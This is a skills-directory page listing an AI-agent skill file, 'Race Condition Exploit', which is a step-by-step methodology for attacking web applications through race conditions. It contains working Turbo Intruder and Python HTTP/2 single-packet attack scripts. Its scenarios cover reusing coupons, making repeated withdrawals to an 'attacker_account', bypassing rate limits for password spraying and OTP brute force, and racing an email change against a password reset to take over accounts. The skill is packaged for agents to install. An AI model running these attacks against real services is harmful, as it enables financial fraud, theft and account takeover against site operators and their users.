Back to skills
SKILL.md
Race Condition Exploit
ASecurityRace conditions: single-packet attack, last-byte sync, TOCTOU
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
100/100Pro scans all 4 files and shows the line behind each finding
npx -y skills add blackfoxxx/kestrel --skill race-condition-exploit --agent claude-codeAre you the author of Race Condition Exploit?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-race-condition-exploit)---
name: race-condition-exploit
description: "Race conditions: single-packet attack, last-byte sync, TOCTOU"
metadata:
tags: "race condition,toctou,concurrency,turbo intruder,single-packet,race condition,concurrency,balance,coupon,purchase limit,race,concurrent,double spend,race,upload race,coupon,balance,purchase,purchase,stock,limit,points,duplicate,transfer,transfer"
category: "exploit"
mitre_attack: "T1499"
---
# Race-Condition Exploitation Methodology
> **Core principle**: within the time window between the server's "check" and "use", send concurrent requests so the same operation gets executed multiple times
## ⛔ Deep-dive references
- Turbo Intruder scripts and advanced tricks → [references/turbo-intruder-scripts.md](references/turbo-intruder-scripts.md)
- Multi-step races and compound exploitation scenarios → [references/multi-step-race.md](references/multi-step-race.md)
- curl/Python/Barrier concurrency scripts and file-upload race scripts → [references/race-scripts.md](references/race-scripts.md)
---
## Phase 1: Identify the race-condition attack surface
```
high-value target operations:
├─ 💰 balance/points/virtual-currency operations (transfer, withdraw, spend)
├─ 🎟️ coupon/discount-code redemption (one use only)
├─ 📦 limited-stock purchase (flash sales)
├─ 🔐 rate-limit bypass (login attempts, SMS codes)
├─ 📧 multi-step workflows (email change → password reset)
├─ 👍 voting/liking (one per user)
├─ 🎮 game resources (double-claiming rewards)
├─ 🔑 one-time token validation (same token used many times)
├─ 📝 registration/creation (uniqueness check → insert, duplicate accounts)
└─ 📁 file upload → processing pipeline (TOCTOU, access the webshell before deletion)
```
| Scenario | Race target | Exploitation effect |
|------|----------|----------|
| Balance spend/transfer | check balance → deduct | balance 100, start two 100 spends at once |
| Coupon/redemption code | check if already used → mark as used | reuse the same code multiple times |
| Vote/like | check if already voted → record vote | ballot stuffing |
| File upload | upload → check → delete malicious file | access the uploaded webshell before it's deleted |
| One-time token | validate token → invalidate token | reuse the same token multiple times |
| Registration/creation | check uniqueness → insert | create duplicate accounts |
| Purchase-limited item | check stock → place order and deduct stock | over-purchase beyond the limit |
**Quick signs a race exists:**
- The response contains restrictions like "already used" / "insufficient balance" / "limit reached"
- A normal repeat submission returns an error → there's a server-side state check → there may be a time window
## Phase 2: Choosing the attack technique
```
concurrency method comparison:
├─ Single-Packet Attack (HTTP/2) → most precise, nanosecond sync ⭐ first choice
├─ Last-Byte Sync (HTTP/1.1) → the best option for HTTP/1.1
├─ Turbo Intruder gate → most convenient inside Burp Suite
├─ multithreaded Python → flexible but lower timing precision
└─ plain Repeater concurrency → simplest, lowest success rate
selection criteria:
does the target support HTTP/2?
├─ yes → Single-Packet Attack (many requests on one TCP connection)
└─ no → Last-Byte Sync (many connections, hold the last byte, release together)
```
## Phase 3: Single-Packet Attack (preferred for HTTP/2)
**Mechanism:** HTTP/2 multiplexing lets you send multiple complete requests in a single TCP packet, so the server processes them almost simultaneously.
### Turbo Intruder script
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2) # HTTP/2
# repeat the same operation 20 times, gate-synchronized release
for i in range(20):
engine.queue(target.req, gate='race1')
# all requests sent at once
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
```
### Python implementation
```python
import h2.connection
import h2.config
import h2.events
import socket, ssl
def single_packet_attack(host, port, requests, path='/redeem'):
"""HTTP/2 single-packet race attack"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = socket.create_connection((host, port))
sock = ctx.wrap_socket(sock, server_hostname=host)
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# send HEADERS for all requests (no DATA)
stream_ids = []
for i in range(requests):
sid = conn.get_next_available_stream_id()
stream_ids.append(sid)
conn.send_headers(sid, [
(':method', 'POST'),
(':path', path),
(':authority', host),
('content-type', 'application/x-www-form-urlencoded'),
])
# all DATA frames packed and sent together (single packet!)
for sid in stream_ids:
conn.send_data(sid, b'coupon=DISCOUNT50', end_stream=True)
# all data sent in one shot
sock.sendall(conn.data_to_send())
# collect responses
responses = {}
while len(responses) < requests:
data = sock.recv(65535)
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
responses[event.stream_id] = dict(event.headers)
sock.sendall(conn.data_to_send())
return responses
```
## Phase 4: Last-Byte Sync (for HTTP/1.1)
```
principle:
1. open N TCP connections
2. each connection sends its request but holds back the last byte
3. release the last byte of every connection at the same time
→ the server receives N complete requests simultaneously
Turbo Intruder implementation:
```
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20, # 20 parallel connections
requestsPerConnection=1,
engine=Engine.THREADED)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
```
## Phase 5: Common exploitation scenarios
### Scenario A: coupon reuse
```
normal flow:
1. POST /apply-coupon {code: "SAVE50"}
2. server checks: coupon already used? → no
3. server acts: mark used + deduct the amount
race attack:
send 20 identical requests at once → every request reads "unused" at step 2
→ the coupon gets applied 20 times
verify: check whether the final balance/order discount exceeds expectations
```
### Scenario B: concurrent balance withdrawal
```
normal: balance 100 → withdraw 100 → balance 0
race: balance 100 → 5 simultaneous withdrawals of 100 → 2-3 succeed → 200-300 extracted
key requests:
POST /withdraw
{"amount": 100, "account": "attacker_account"}
```
### Scenario C: rate-limit bypass
```
limit: 5 login attempts per minute
race: 100 attempts in one packet → the limiter cannot keep count
→ only the last few of the 100 attempts get limited
used for: password spraying / OTP brute force
```
### Scenario D: multi-step race (advanced)
```
attacker email change + password reset race:
1. request A: POST /change-email {email: "attacker@evil.com"}
2. request B: POST /reset-password (sent simultaneously)
→ the password-reset mail may go to the attacker's new address
(because the email change and the reset are processed concurrently)
```
## Phase 6: Confirming success
```
signs the race succeeded:
├─ multiple requests return 200 OK (not just the first)
├─ abnormal changes in balance/points
├─ the same operation recorded many times (logs/orders/transactions)
├─ rate limiting ineffective
└─ inconsistent system state
```
## Tool quick reference
| Tool | Purpose |
|------|------|
| Turbo Intruder | Burp plugin, gate synchronization |
| Burp Repeater (Send group parallel) | simple concurrency (Burp 2023+) |
| racepwn | dedicated race-testing tool |
| Python asyncio + h2 | custom HTTP/2 attacks |
| curl --parallel | simple concurrency testing |
Files in this skill
- SKILL.md
- references/multi-step-race.md
- references/race-scripts.md
- references/turbo-intruder-scripts.md
Attribution
Related skills
View all in development →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.